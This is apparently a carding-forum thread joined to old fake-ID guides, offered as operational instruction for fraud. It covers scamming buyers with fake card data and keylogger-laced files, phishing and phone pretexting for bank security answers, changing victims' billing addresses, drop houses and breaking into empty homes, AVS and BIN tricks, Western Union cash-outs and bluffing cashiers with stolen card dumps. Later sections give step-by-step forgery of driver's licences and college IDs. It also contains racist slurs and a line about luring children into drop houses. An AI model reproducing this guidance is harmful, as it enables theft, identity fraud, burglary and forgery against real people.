I can't give any big advice on not getting ripped in IRC because you don't personally know anyone in there at all, you just have to take your chances (expect to get ripped your 1st few times going in there, just don't go to them again, because if they get away with it once they'll definitely try again if you go back to them).

DO NOT BUY ANY WU BUG(Western Union Bug); it is a massive ripper technique which is bullshit. The WU BUG used to work but was patched a looong time ago, most of the time now you'll get nothing or you'll end up with a rootkit on your comp. Rippers always say ridiculous prices for these too such as $200+; but if someone says lower prices it's still bullshit and most likely a rootkit/trojan/keylogger going to be installed on your machine while you get some useless program that does nothing.

Ripping
Easy as hell to do, not much photoshop skills needed really either.

Bullshit and say you're selling full info (you're getting the info from fakenamegenerator.com or any credit card gen program; of course they don't fucking work), if they want to see proof just use your own legit CC or another stolen CC to buy something and show them proof of you buying it, except photoshop the details to that which you're going to be giving him later. Take payment through Western Union ONLY (since e-gold isn't around anymore), then just send him the bullshit info.

If they want the report to go to their phone via SMS then just spoof a text with an sms bomber saying some bullshit reports. Then get the payment via WU.

To get victims you message them 1st, message out in the whole channel 1st and then PM random buyers (look for ones requesting).

::::WU BUG::::
seriously this is bullshit, all people are doing are showing buyers fake screenshots made in PS or are actually making quick programs themselves and taking screens of them and then selling them, although essentially they're useless. You want to do this, but you want to actually send them a file as well, but bind a keylogger or trojan to it; not only can you rip them out of their cash to buy your infection but the info you get from spying on them will be so much more as well ranging from their info to other stolen CC info, you'll have a backdoor on what they do and can exploit it.

If you can't be bothered making fake screenshots then get them from other rippers trying to sell them, get them to show you pics, vids and info; then use it for yourself and rip some n00bs.

The following users say "It is so good to hear it!":

Phishing for Change of billing
A billing address is the details used for a person's bank account and most often their credit cards and everything else too, this includes their phone number too.

What a change of billing (COB) is in a nutshell is changing the billing address registered to the card to your drop address you're gonna be using. When you want to card BIG at various online websites the orders will look more legit that you're not sending it else where other than the one registered to the card (obviously after you've changed the billing address), meaning the delivery of your goods will be quicker and will require a lot less verification.

Most of the time you change the billing address over the phone but SOME banks will let you do it online; when you phone up to change it you use spoofcard.com or the pay as you go mobile phone you're going to be using when carding, or beige boxing

When changing the billing address you need to know as much info as possible about the person's billing address you're changing, because the bank is going to ask you 3 security questions you set (such as mother's maiden name) before they change it.

You can phish for details over the phone (see the phishin over the phone section above), however it's best to use keyloggers and phisher pages for this with a MIX of over the phone.

Use through phishing pages
2 methods here, 1 including over the phone, one isn't.

The method without the phone is to just send a ton of e-mails out to random people and send them a html e-mail telling them they need to update their information before the account is suspended or their account with the bank will be cancelled, you have them go to a phisher page off the template and the phisher pages "requires" them to answer security questions like their mother's maiden name, their pet's name, you know those type of questions.

Another method is to call them up pretending to be the bank and saying there have been different ip ranges logging on their account and they need to confirm their details online, link them to the phisher page and have them fill in the details; have the phisher page redirect to the actual online bank's login page; then ask if they've done that over the phone, tell them to wait a minute while you confirm and check it all out, say it's all clear and tell them to log in, they'll think nothing of it and you now have the answers to their secret questions which you can give to the bank itself when you go to change the billing address.

Use through keylogging
This is my favourite method and what I told S_E last night in IRC.

You have a hardware (or software) keylogger set on someone's comp, use sock proxies when logging into their online bank account and then change their password, call them up pretending to be the bank and then get them to go to the actual online bank link and fill in their forgotten password options (answering secret questions) or of course get them to go to your phisher page and fill in the details (this is if you want to add more fields to get more info) then pretend to be checking it all over, then change their password again to some random letters and numbers and give it to them to log back in (it doesn't matter because they're keylogged and you'll get their new login if they change the password again anyway), you'll have all their info logged down too for you to answer your questions when you call the bank.

Best time to do all of this is around the 10th day of the month (people usually get their credit reports at the start of every month), this will give you plenty of time to card enough for the remaining days until they see they're not getting their reports coming to them anymore (if you're crafty you can pretend to have cancelled the online bank account for them after they've gave you the info you need to know; I used to do this method and keep it going without them knowing).

You need as much info as possible when calling up the bank to change the billing address.

Drops and what you need to know about them
Drops and what you need to know about them
What drop locations are and what they're used for
Well simply a drop location is an abandoned house, or any house that is not under your name or any of your details. You can lead young children into these to make a sexy time with them, get items delivered to them that you want no one else to find about or risking finding, or just use it to squat in if you have no where else to go. Basically they are used in ways of keeping your nose clean and are used by mostly scam artists and sex offenders.

How to find a drop location
There are many ways of finding a drop location for use, whether it temporarily or permanently (although I suggest swapping and changing locations because my main last one I used got raided or broken into and is boarded up and too hot to use); I will suggest 3 ways on how you can find some for you to use.

One final tip is don't bother going for houses that are boarded up at the front where it is visible to passers by (it's okay if round the back is boarded up)

Way #1
As just mentioned you can go about it many different ways but one of the ways the way I prefer to go about it is you should be looking around some older housing estates and more ghetto areas (could also tie in with the sob story you feed to a paedophile/child predator you are possibly scamming). For example in Derby there is an area called Sinfin, but now there is 2 parts to it and they are New Sinfin and Old Sinfin. Old Sinfin is the are you would want to go to, because it's older it's most likely to be alot more houses abandoned or deemed unsafe (it's bullshit).

Or if you were lucky like I once were then you could ask around your mates if there are any empty houses in their area. If there are then you're in luck and can even have your friend keep tabs and watching over it for you and give you details so you can keep it all under wraps and safe. It may be alot riskier with neighbour hood watch morons, and nosey neighbours, but it's still ideal and a little bit less suspicious than the abandoned houses in the older estates, and this is because the older estates usually have all abandoned houses close by, where as the odd one out covered with a street filled with inhabitants will seem less suspicious to the postman.

Way #2
Now this is a temporary way of finding a drop location, but is sometimes an effective ways and means of getting what you need but has a bit more risk to it; and personally is a way I have never used even till today.

Have you ever been eavesdropping on a conversation between a neighbour and one of their family member's or friends', or been down the pub and heard the common as muck chavs boasting about a holiday they are going away on for however long they say they're going away for?

Well listen out for these type of conversations. Because them away on holiday means the house is most likely going to be empty for however long they're going away for. So if you already know where they live then that's great the job is made easier; if you know their first name and surname then look them up in the phone directory and find their address to go along with the number. If you don't know where they live, or their name then just listen out to see if you can hear their names come up in conversation; just remember that if it's in the pub it's most likely local to it that they live, so you could easily find out by

following them home and seeing.

Way #3
Possibly the safest, easiest way of finding, and quickest way to get a drop location.

Most areas have houses up for sale am I right?
Or houses that are up for bidding on, am I right?

Well they have a website with a full list of your local area(s) that have houses up for bidding on and for sale.

For example I would search Derbyhomefinders and look at the list on their site.

All of these houses are empty and often do not have a sign up outside them either (if they do then just take it down and hide it somewhere for the time being).

The advantage to using the lists to find the drop locations to use is it will usually say when the bid is up or if the house has been sold (this lets you know that it will not be ideal to use that certain house now it's most likely to be inhabited) and will have the houses on there that are still being bidded on and that are still up for sale, these are the ones you want to be using.

The best thing about this though is that you have a full list of many different drops to use (like I said earlier it's best to switch drop locations and use many different ones) and it is updated with new ones coming up and tells you full which ones are over and not usable.

You just need to know your agencies for housing and find their website.

Obtaining and using drop locations
You're probably thinking now I've got/found one that's great and everything but how the fuck do I keep it a secret?

for way 1
this much is obvious that you do not tell anyone except your partner if you're doing a team bait, and 1 trustworthy friend to keep tabs on it if you are doing a bait on your own, and also the paedophile, but only when he asks. But there is alot more to it than that, also maintaining your abandoned house and making the postman think someone living there.

Appearance isn't everything at all in any case and it isn't for this either, but of course you try to make yourself look as best as you can. The same principles are applied to keeping an abandoned house; you should atleast try to get a new lock put on the door which you will also have a key for; just so that if any druggies go there before you then they will have a tougher time getting in (of course it's ideal you don't get somewhere known to druggies but this is an example of what use it could have) but also if there is a fucked up lock on a door then it's pretty damn obvious only low life scum or some criminal(s) are using the place, so buy a new lock for the door and get it fitted on, whether you do it yourself or get assistance from a friend who knows what they are doing.

Now as for overgrowing plants and weeds, you can only do so much without being suspected. Do not use a lawn mower, use clippers and hack it as short as you can. It's best to get all of this done when everyone is at work during the day time; but in reality it isn't ideal at all and most criminals don't tend to bother with this. Instead they will make it seem someone is in but is just too ill to do anything with the garden or is just a lazy fucker. They do this by often writing up a note and sticking it to the door or leaving it on the floor near the door saying something such as "No milk today please" or "Not in, please leave packages at post office".

Write a few letters to yourself aswell ready to come on the same day as the parcel, this will make it look like you get mail and not just the one off suspicious package now and then.

Now 2 alternatives, you can either get to the abandoned house and take the mail from the mailman while acting like you live there (you must look the part as lazy or disabled if you have ingrown plants in "your" garden) or you can leave a note saying to take any packages to the post office for pick up because you are at work or something along those lines.

One final rule is do not be in and out of the hideout everyday or whatever, visit probably 2 or 3 times a week.

Way 2
Now there are 2 ways to go about this; you can either just get to the house early in the morning a little bit just before the postman arrives and be at the house outside pretending you're just about to leave and then sign for the package (if you need to) and collect it off the postman and then be on your way after he's gone. Or if you're good at bypassing alarms (I have a guide on burglary) or the house has no alarm then you could bump key in at night time (not recommended) or during the day time the day before when everyone else will be at work aswell, and hide out there for a bit (hell even take some food that is left in the fridge and feed yourself since you're spending the rest of the day and early morning there). Basic rules are don't have tv on too loud if at all, or if you do then put head phones on into the tv if it's that old of a model, and leave everything how it was left an say upstairs so incase any neighbours or anyone looking after the house while the owners are away come in then you have time to hide.

Obviously if it's a package you don't have to sign for then you can stick up a note on the door early in the morning before the post man comes saying to leave it round the back or what ever excuse you wanna make up.

Way #3
Easy, just as previously except you don't have to be as cautious and often the alarms are disabled for that time being anyway so you don't have to worry as much if you bump key into it.

As also stated previously in this guide, if there are any up for bidding/for sale signs then take them down and just get them out of the way.

You can even go to this one the night before instead of day time because no one is hardly going to be watching over this unless it's in a neighbourhood watch area (in which case you chose the wrong area anyway, you dumbass).

Some basic tips to keep in mind
-- Be there before the postman! can't stress this enough, it's too fucking obvious if you're late.

-- When signing for packages, if you need to, then sign a fake signature (the sig can be any made up fake shit) with your hand that you don't write with, so it's harder to trace incase things go tits up later on down the line.

-- Take anything in any guide with a pinch of salt, things may be different circumstances for you and your situations; guides are to be used as basis's.

The following users say "It is so good to hear it!":

CC scan tutz:
Code:
http://www.zshare.net/download/51706978a8180d65/
http://www.zshare.net/download/51707169cc576e5d/
Also will say the main reason we use SOCK proxies:
Sock proxies can receive and send most types of internet traffic such as e-mails, java, flash etc; sock proxies are more private as well and much more secure.

Socks traffic is anonymized as it is sent out and the incoming traffic is filtered.

You can run most programs through SOCKS easier as well.

Bear in mind it's wise to disable java, and flash and have your cookies cleared before and during use of the proxies as they can reveal your identity.

Disable Javascript, until you need to use it (usually when submitting info).

You can find socks(5) proxies online, scanning them to see which ones are still high in anonymity and are working is done through certain scanners you find online.

I use accessdiver to check all my proxies from the lists I got.

If I ever get a log in for anyproxy again (if I decide to start carding again) then I'll be sure to share some lists sometime.

Infact you can actually buy them off the anyproxy.net website, except they're cheaper in IRC.

An extra tip about drops: You can order it to any address you want really, call them up saying they got the address wrong and are sending it there instead (say you live on a street that sounds similar to theirs), ask if they can sign for it and keep it ther euntil you can pick it up after work. This is the best method.

Also bear in mind about instore carding for the UK, becaus eof chip and pin it's ALOT harder to skim ATMs, you have to use the old ones that are in some paki shops. They're hard to find but they do still have them in places. For an example of what atm type I'm on about search for the skimming vid that The Real Hustle did.

---------- Post added at 08:12 AM ---------- Previous post was at 08:09 AM ----------

I think I should add the updates I posted in another thread in this one as well, it's some need to know shit. Nothing in here is outdated, but this is additional needed info.

Carding isn't so easy unless you have full details and get them all changed, even then they may bring up a red flag, it depends on the site you're carding.

To be easier for example I'd card people who live in the same country as me only, just to make the job easier. Why? IIN/BIN is one of the first things they check now. Unless you steal all of their details and call up the bank and tell them you're going "abroad", otherwise all transactions would just be stopped. Get the COB address changed also, obviously this still is absolutely needed to be done to avoid the top red flag. In that case it'd be only good for instore carding and if you'd phished the pin from them, or if you're buying from IRC get full info.

Simple way, keep it to your only country and you'll have less work and trouble coming your way.

If you're going to card then card big, but not the most expensive thing in stock obviously, don't fuck around with multiple small purchases.

Identifying the place the card was issued from can be done through various methods;

http://binbase.com/csv.php?module=search
http://www.binchecker.com/

2 to name a few.

This will help you pick out the phished cards and which ones are of use to you.

---------- Post added at 08:13 AM ---------- Previous post was at 08:12 AM ----------

Ok back on topic folks, carding right wanna do it??

Don't think it's as easy as getting a hold of a cc, going to dell.com and ordering a 1k laptop. It's not gonna work buddy. You need to find the best method to outsmart the merchant, they know all about this kind of fraud and they suspect it in many ways. Common sense is your best friend. Would it make sense if the 'real' owner of the card orders 1k worth of electronics to an out of state random house. Sure it's possible, but they're not gonna buy it. First thing that's gonna happen is check the purchase, most likely the cardholder is gonna get a call from the bank but the transaction had probably already been canceled before this even happened. Why?? Because they know. It's your job to start researching on how to card successfully but I'll give you some tips for online carding.

AVS
There's a neat little trick, they only check numbers. So let's say the card owner's address is 673 W Dook st. You can find a drop that is 673 S. Dr Avenue. This will pass the AVS system.

COB'S
Means change of billing. There's a couple of ways to do it, online or by phone. Alot of banks only need ssn and dob so a lookup for them will sometimes do it. A little advice is do not card 2k 3 hours after you changed the billing. Wait about 3-4 days or maybe a week. Common sense buddy.

BIN (bank identification number)
keep logs of them, you found one that made you 5k?? save it and get it again. This is one of the most important things in carding and make sure you keep the gold to yourself.

Western Union
Yes it is possible, but it's a pain in the ass. You need to try and try...and keep trying til you discover the treasure. Make sure you get good credit reports.

I'll tell you one thing though, USA cc suck ass. I recommend the good one's Germany, Denmark, Sweden, Greece. But some USA bins are still good just look.

---------- Post added at 08:15 AM ---------- Previous post was at 08:13 AM ----------

I just thought I'd add some more stuff about instore carding because someone I know had an error pop up on one of his cards today because his dumpz on one of the cards had died. This isn't usually a problem because this person used to skim for his own when it was easier, but now he buys them from IRC instead.

When you buy dumpz from vendors and are a regular carder there will be times you're carding instore and have errors come up at the point of sale. Now because he chose a dumb nigger cashier this was easier to get out of, so keep in mind to go for nigger cashiers, younger people and dumb women.

He got the worst error come up, which was "call for authorization". Now you do not want them to do this at all, so you should make it clear you don't have much time for this, tel them you'll call the bank tomorrow and ask them to try another one of your cards. There are many other excuses as well but this was the one the person I know used. You must pu your hand out as if to insist you want the card back whilst talking to them, most of the time they won't know whether to give it you back but will give it you back when put on the spot. If you don't have another card just say you will call the bank about it and come back tomorrow.

The key to this however is to remain calm. Then give them another card.

Another error is "declined". You'll get this eventually if you have good dumpz on your card, the limit has to end somewhere (get a good IIN to make more money). Before hand you should make out you're not sure how much money is on the card "I hope I have enough money to cover this", or when it's declined just stay calm and give them another card and tell them you think the limit must be gone on that one, you had a feeling that was going to happen; laugh it off. If you don't have another card on hand say you'll be back soon and you're going to the cash point.

There's many other merchant error codes and I won't cover them all (I linked to them in another thread somewhere when kirby was mod) but once you have practice bullshitting with these errors you'll begin getting good at it, it's all pretty much the same action you should take anyway.

Now you're probably thinking if you have the PIN as well then why not just cash out at the cash point and then pay in cash? You can only draw out £300 within 24 hours most cards.

Also if you're carding expensive goods then have some other ID which matches the name on the credit card, they'll ask for this majority of the time if it's expensive goods. Sometimes the guy I know has been able to get away with just having a fake business name tag ID whipped up. This won't wash if you're carding rolexes or gemstones. It's best to have another form of fake ID like a driing licence or something like that.

---------- Post added at 08:16 AM ---------- Previous post was at 08:15 AM ----------

COB'S
Means change of billing. There's a couple of ways to do it, online or by phone. Alot of banks only need ssn and dob so a lookup for them will sometimes do it. A little advice is do not card 2k 3 hours after you changed the billing. Wait about 3-4 days or maybe a week. Common sense buddy.

BIN (bank identification number)
keep logs of them, you found one that made you 5k?? save it and get it again. This is one of the most important things in carding and make sure you keep the gold to yourself.

Western Union
Yes it is possible, but it's a pain in the ass. You need to try and try...and keep trying til you discover the treasure. Make sure you get good credit reports.

I'll tell you one thing though, USA cc suck ass. I recommend the good one's Germany, Denmark, Sweden, Greece. But some USA bins are still good just look.

He's right about the COB. It takes a while to change now, so get it changed as early into the month as you can, the 8th or 9th is usually good enough for the guy I know.

IINs are the most important now indeed if you want to make a good profit and not get busted by limits. UK IINs aren't that bad but the best ARE germany, spain and Turkey from what I've seen so far.

I've got a huge list of IINs which I'm a little reluctant to share.

As for Western Union I've heard you need a lot in a lot of countries but in the UK it's not too hard at all.

Get some sock proxies and make an account online. Add the card details and
the receivers details then go through the process.

If it all goes well they give you a MTCN (money transaction control number).

Call them up to confirm and answer their questions about why you're sending the money and if you know

them. I usually give the excuse that I'm a job agent and it's his weekly pay. They ask other qustions like your D.O.B (this is why you need to be good at phishing or make sure you're buying fullz). They'll also ask the name of the bank that issued the card, so see the BIN/IIN checkers I linked earlier.

I've heard of some people being asked if it's their first time making a transfer through WU from credit card. This is what catches you out or confirms the whole thing; just say yes, it's a 50/50 chance.

Then go to a WU agent with fake ID of the contact details you gave of the reciever, or if you've got a trustworthy person to pick it up then give his and get him to pick it up.

The shit thing is you can only send £100 each transaction and only £600 a month. That was with a UK IIN, I'm not sure if it'd be different with another card.

Western Union is good for cashing out but it's not worth all of the stages and there are tons of easier ways.

Novelty ID Guide

Counterfeit ID Cards
These are licenses that are completely different from the actual valid license. They may be designed to look "official" or they may follow a familiar, earlier license style.

Altered ID Cards
Additions and changes are often made to an actual, valid license, or a photograph of a valid license. This type of technique is used by minors for liquor purchase , by credit card defrauders who need supporting IS, and others involved in identity change efforts

Forged ID Cards
When alterations are combined with forgery of the license (usually adding a new photograph), fraud can be detected by checking for raised edges around the photograph, unauthorized lamination, a broken or partial signature and missing or partial state seals at photo edge.
==========

Fake ID Guide--All you ever wanted to know but were afraid to ask

article by DrNick

So you want to get drunk this weekend. Or buy some cigarettes. It is sometimes easier to buy marijuana and take advantage of the black market brought on by the War on Drugs. Or, follow on and learn how to kill your brain cells with alcohol.

***
Table of Contents

I. Disclaimer/Legality

A. Getting ID
B. Making your own ID
C. Buying ID
D. Using the Fake ID

***
I. Disclaimer

Fake ID is both a state and federal crime. If caught you might not be charged with both, but who knows? Usually making a fake ID is illegal in many states. It is usually a crime to alter existing state-issued ID, or to create a new fake ID. These crimes include forgery and fraud. They are no fun to get charged with. This site has some more info on it, it is a good example and food for thought:

{hxxp://www.colorado.edu/sacs/ralphie/a/Appendix_B,_Alc.html}

Using a fake ID to purchase alcohol or cigarettes is some sort of crime. These crimes all differ from state to state, so check your local laws. I do not advocate creating a fake or fraudulent id. This information is for informational and novelty use only. Do not break any laws. This is not intended for anyone evading prosecution, warrants, etc. I will not hinder prosecution. I do not know how to create a new identity.

***
A. Getting ID

You can make it yourself or buy it. Some texts you might read talk about birth certificates and death certificates and all that crap. There are some links included which will take you there. This phile will help you make your own ID. This ID is intended primarily to get you into bars and help you buy beer. Don't even bother trying to fool a cop or fed with it.

B. Making it yourself:

You will need a various combination of the following tools, but these are just guidelines. You should try experimenting with different combinations and seeing which one works best for your ids! You can probably find all you need here at Staples or your local stationary store.

1. Computer (if you don't have one just forget it)
2. Color scanner for computer (or access to a friends)
3. Color Printer (hardcore=die-sub printers, for home hacking try Epson 400, 600, 800 series)
4. Software--Adobe Photoshop, Paint Shop Pro
5. Cutting Tool: Exacto Knife (preferred method) or really sharp short blade on Swiss Army Knife (used to cut out the printed id from the rest of the paper)
6. Adhesive: Strong Glue Stick or Double sided scotch tape (experiment here)
7. Posterboard or Manila file folder or Metrocard (strengthens the card--experiment here)
8. Contact paper (optional use only to get the right "look" or "feel")
9. A pencil
10. Paper to print front of id on--high quality inkjet or photoglossy depending on id. Don't even bother with copy paper.
11. The ID you want to fake (whether it be New York, Connecticut, LILCO, or NYNEX)
12. Nail File (for smoothing ID's edges).

Also you might want to try 3M id cards. They come 2 to a sheet. Experiment.

How to Make it:

1. You need an ID or a template. You need to know what the legitimate 21 year old version of the ID looks like. Its good if you have a legit ID on hand to compare yours with. Check the "{The I.D. Checking Guide}" (hxxp://www.driverslicenseguide.com/) as an invaluable reference tool. It is a great book worth the order. If you need to scan in your own picture or ID make sure it is very clean. Use a high resolution, 720 DPI is good. You must use at least 24 bit resolution. Making your own template is as easy as recognizing the important information on the id and how to correctly present it.
2. Follow what the template says. Put the picture in the right place. Fill in the right blanks.

3. Find a good medium to print on and work with. Remember you are going to need a front and back for this ID. I have seen fake NY State Ids using recycled Learners Permits. The new fake front is glued on top of a learners permit so the back is the same. Sometimes though you don't have an old license around. If not then scan the back of the drivers license and print it out on posterboard. Use the posterboard as the back. Its not perfect but close. Again, you are encouraged to experiment and see if you can find something better.. This is part of the process and helps you stay on your game as an artist.
4. Print the front out. Use a high quality paper, photo glossy is not necessary and is sometimes too thick or glossy for the job. Depending on what ID you are imitating you may or may not need a laminating surface.
5. Use a glue stick or double stick tape to adhere the front of your ID to the back.
6. Trim the corners with the knife (if necessary). If necessary you might want to use a nail file to smooth the edges on the ID.

***

C. Purchasing Fake ID

If you live in a big city (ie: New York) walk down to the business districts (ie: Times Square, Eighth Avenue, W. 47th Street) and you can find some shops. I am not 100% sure as I have never done this myself but my friends have. Look and listen. In New York you can sometimes buy fake ID in the back of luggage shops. Weird but true. It is often some fake looking out of state or some bad college id, but see if it suits your needs. Most of the net is full of crappy novelty ID, nothing to buy beer with. Info on the net will help you make your own.

***

D. Using the ID

So, you finally got an ID. One that says your 21 or 18 or however old you need to be to buy items (to exercise your property rights!). So, now that you've invested $20-$100 you're all set, right? Wrong! If you were I wouldn't waste my time by writing this, or make you read it. This is free advice. Take it. Kant says the only right acts are those with good intentions. I try.

Don't consume alcohol in public where doing so is prohibited by law (ie: on the street). This is because it is illegal and when some cop finds out you are not only drinking on his streets but not even twenty-one he will throw a fit. Save yourself the trouble.

If your ID is successful or not depends on many things. Some are beyond your control, such as the club's policy on fake id. Some are within your control, such as how you present yourself and what you exude.

Factors beyond your control:
The setting. Ie: the bar, restaurant, store. Hopefully you can choose a place that is easily passable.

Possibly within your control:
Your server/bouncer. When in a grocery store DO go towards the 19 year old cashier. The younger ones usually care less about this whole ID thing. DO take advantage of the Korean/Pakistani Immigrant grocer. In the midst of all of Guiliani's Law and Order crackdown my friend at NYU can still buy his Coronas quite easily. The immigrant clerk questions my friend "Id?" To which my friend replies (with a smile) "Yes ID." Your biggest friend is your great personality. Look happy and confident and you will walk away with the beer. DON'T PANIC!

What you can do:
Know your fake birthday, name, address, zip code all that info on the card and your Zodiac sign. Go to a place that has accepted your ID in the past! This is my best advice. When waiting on a line for admission to a club have the ID ready--be confident! When you are purchasing at a grocery store or take out place it is nice to have it ready to present to the cashier. Try to view it as a formality that you are accustomed to engaging in. You are used to getting carded...remember?
In a restaurant chances are about 50/50 you will be carded when ordering from a waiter. If you are with

your parents these odds decrease, with your friends these odds increase. However I have been denied in older company and served with my friends. Lucky Chengs has been particularly lenient...of course in that case you wouldn't even need ID. What can I say? I am only trying to help.

==========

How to build a fake College ID

article by Bishop

I. Introduction

A Fake ID is realitively easy to make. In this article I will teach you how to build a fake College ID. College ID's are much easier than a drivers licence, becuase of the
number of colleges. As long as they have your Date of Birth you'll be ok. It will be approx. $75.00 investment to buy the equipment.

II. Necessary Equipment

I have built many fake College ID's perfectly so stick to the recepie

GBC DocuSeal 30 -- Laminator

GBC Laminating Pouches -- Laminate Card (25 to a box) (Badge Card Size)

Bulldog Paper Slicer -- a cutting board and a slicer to make perfect cuts

New Razor Blade -- allways prove useful

Adobe Photoshop 4.0 -- Necessary Software

Ink Jet printer -- never use a dot matrix! (color optional)

Recent Photograph -- This will be a photo ID (wallet size)

A VHS tape -- ya' know the kind you put in your VCR

III. Using the Software

Make dimention of the card 3.5 inches wide 2.333 inches tall Now using text only put in the name of a College one state away from you. Use only adverage colleges, not Yale or anything. Use Ariel Rounded MT Bold for the name of the college. Then under
that use Calisto MT for the town the college is in.

```
---------------------------------------
| | |
| Photo | Marywood |
| goes | College |
| here | |
| | Scranton, PA. |
| until the line | |
| | date / here |
---------------------------------------
```

The graphic above is a rough disription

Now you have the front, print out the card.

Next you have to give the card a back.
Make a new card with the same dimentions,
type the below using Ariel Rounded MT Bold

Birth Date: Height: Weight:
_____ _____ _____

_____

print out the file

Use your Paper Slicer to cut out the card to the correct size. Then fill out the card with the approate information. An existing card like a drivers liscence or credit card can help. After both cards are cut out, get the badge card lamenate and insert both cards. Flip it over and make sure you've done it right. Take out your picture and use the Paper Slicer to cut the picture out to the size of the card and put it in place. Do not use any glue! Let the badge holder hold it in place.

Now get out that VHS tape and take it apart. Carefully remove tape and measure the exact width of the paper card. Put the strip of film at the bottom on the Badge Card. It should look like a real card. You will notice a tint / blur in the card. This is ok, don't worry. After it is centered and cut PERFECTLY!!!!!

put the card in the Leadered Carrier folder and make sure the stuff in the card doesn't move. Now plug in the Laminantor, wait a minute and it be warmed up. Make sure the green light is on. Put the laminantor in the on mode. Now slowly and carefully put in the folder adn laminate the card. Open the Carrier and take out you new ID!!!!!

Please remember Fake ID's are an art NOT a science.
Try a few before you quit and, don't settle for an ID that has a flaw, Fake ID's are against the law!

IV. Getting away with it.

REHEARSE YOUR INFORMATION! assure yourself you know that you were born in 1978 or whatever year you need to be 18 or 21. I reccomend you keep the same name, height, weight you really have.

==========

How to build a fake College ID #2

article by Epi

Ok, so you just got a new ID and ya want something to go with it. College ID's are really simple and you only need these materials:
1. Laminator (ya don't got it then I can't help)
2. Computer art program (i.e. adobe photoshop, I used Polaroid Photomax Pro and it works fine)
3. Butterfly pouches (10 mil)
4. 8-up teslin (or pvc card)
5. Printable transparencies
6. Inkjet printer (at least!!!!!!)

7. A scanned card or template
8. The colleges logo
9. Colleges fight song
10. 3m glue spray (optional)
11. Passport photo
Ok, first, search the internet and get the logo once you do that, resize and place it in one corner (depending on the template). change the colors of the lines one the id into the college's colors. put your photo on and outline it with one of the college colors. Next, fill in all of your info (birth date, student #, etc., whatever you think you need).

For the back, write the fight song on it and out it in the team colors. Some colleges use this, some dont, no clerk is gonna know this unless they went there. To finish up the template, put any finishing touches on it, its your choice.

Now that your template is finished, you hav a choice: print it out on the teslin or print on the transparency. I'm not sure which works better, so sorry, your on your own for that.

Once you print it, just laminate with the butterfly pouch. If your laminator only says 5 mil pouches, most will still laminate 10 mil, just run it through 3 times. The GBC docuseal will not, it bubbles. If you want to make it look even more real put a holo on it or someting. I don't know of any colleges that have a holo, but it just makes it look more real.

Good Luck!!!

==========

Who Are You? How To Be Someone You're Not

article by Bela_Lagousi

Fake IDs
Why do I need a fake ID?
You may be asking yourself "Self, Why do I need a Fake ID?" Well There are several reasons, the most common being age. But there ARE other reasons. If you want an account at an Entertainment store you need some form of photo ID, Want to check out the Pool balls at the Hotel, We need to see some ID. You Get the picture. BUT if you can make a Fake ID you can keep the stuff. You can be 17, 18, or even 21.

Can't I just buy one?
Yes, you can! BUT there are ways that are Cheaper, Less Risky, More Realistic, and If YOU make them, then you can sell them and make money!

Who Makes The Best?
Your local Tag Agency, you know the place where they make the REAL ones. Thats right you to can have an ID that will fool everyone, EVEN THE COPS! How do you conveince them to make you a fake ID?? YOU DON'T!! Simply go to friend of Legal age (If your 14 youll NEVER pull off 21!) and borrow there Social Security Card and Birth Certificate This works in like 40 states IT WILL NOT WORK IN CALIFORNIA! In California they require a fingerprint!

Want To Make Your Own?
Of course you do thats why your reading this Article!! This is a little more tricky. Here it goes...

THINGS YOULL NEED:
TEMPLATES
COREL PHOTO PAINT / DRAW

PHOTOSHOP
TELETYPE FONT
TIMES NEW ROMAN FONT
A COLOR PRINTER (PREFERABLY LASER)
A SMALL PHOTOGRAPH OF YOUR SELF
AN IMAGINATION

1. Find a Template, always the hardest part.

2. Open your template using Corel Photo Paint or Adobe PhotoShop

3. Most of these Template don't already have any Text if they don't SKIP THIS STEP!
A) Select Draw start line and appropriate size (usually about 24) Erase the pre-recorded info
B) Proceed to step 4

4. FONT! Use Teletype or some other font that resembles a type writer or Dot Matrix printer. THIS IS VERY IMPORTANT!

5. FILLING IN THE BLANKS: Now for the Text THIS IS THE MOST IMPORTANT STEP! Use you REAL height and Weight. MAKE SURE YOU LINE THESE UP EXACTLY!!!

6. NAME, ADDRESS, AND SSN. To generate SSN numbers I recommend a Carding Prom such as Credit Wizard or FakeID.exe. FakeID is a better program but it IS NOT IN ENGLISH. Make up a Birthday. DO NOT USE YOUR OWN INFO!!

7. PRINTING. Use as good a printer as possible this will take some time paper and ink to get the sizing right size it to match your REAL ID.

8. The BACK. I don't have any back templates scan the back of yours or copy the text be sure to but change the state names!

9. LAMINATING You will need a pouch laminator, but you don't have one and you don't have $2,000 to cough up. GET A FRIEND AT BLOCK BUSTER! Or Use a Razor to Open your Block Buster Card and insert Fake ID.

10. USE. THERE ARE SEVERAL TRICKS TO USING IT.
A) It werks best at night in not well lit places.
B) COPS ARE TRAINED! You can't fool a cop
C) MOST WALLETS HAVE AN ID SLOT WITH A THICK VYNIL WINDOW! Use it! It will distort a real ID even a little more difficult to see Imperfections

==========

International ID Cards

article by {hxxp://www.counciltravel.com/idcards/default.asp}

{How to Apply for your International Identity Card: hxxp://www.counciltravel.com/idcards/apply.asp}

IYTC FAQ
What is the International Youth Travel Card? -
The International Youth Travel Card (IYTC) is an internationally recognized identification card for anyone under 26 years of age who is not a student. The card is administered internationally by the

International Student Travel Confederation (ISTC) and is administered in the U.S. by Council Travel. The IYTC in the past has been known as the GO25 Card but its name has been changed to better fit the card.

I am under 26 years old, but why do I need the IYTC? -
IYTC is officially endorsed by international organization, national governments and student organizations. With the IYTC, you'll have access to special discounts on airfare, accommodations, transportation and much more!

Where can I get a list of these special discounts? -
Details of the benefits and discounts for the card are outline in the free Z-Card that is distributed with each card or visit the International Student Travel Confederation's (ISTC) Web site for specific discounts.

How long will my Identity Card be valid? -
The IYTC is valid for one year from the date of purchase.
How can I purchase the International Youth Travel Card (IYTC)? -
To purchase the card in the U.S., see the How to Apply page. To purchase an ISIC outside the U.S. visit the International Student Travel Confederation (ISTC) web site to find the Issuing Office nearest you.

What if I'm not under 26 years old? -
If you are a student, you are eligible for the International Student Identity Card

If you are a teacher, you are eligible for the International Teacher Identity Card

{Order Now}hxxp://www.counciltravel.com/idcards/OrderCard.asp?Agree=1&name=go%2B25

ISIC FAQ
What is the International Student Identity Card? -
Endorsed by the United Nations Educational, Scientific and Cultural Organization, the International Student Identity Card, often called the ISIC (that's "eye'zic"), was initiated to give traveling students a document that would be readily accepted worldwide as proof of their student status.
I already have a student ID, why do I need the ISIC? -
Your regular college or university ID won't be readily recognized internationally –and sometimes not even understood. ISIC is the world's most widely accepted student identity card. It is issued in over 90 countries to over 4 million students yearly . With the ISIC, you'll have access to special discounts on airfare, accommodations, transportation, basic traveler's insurance and much, much more!

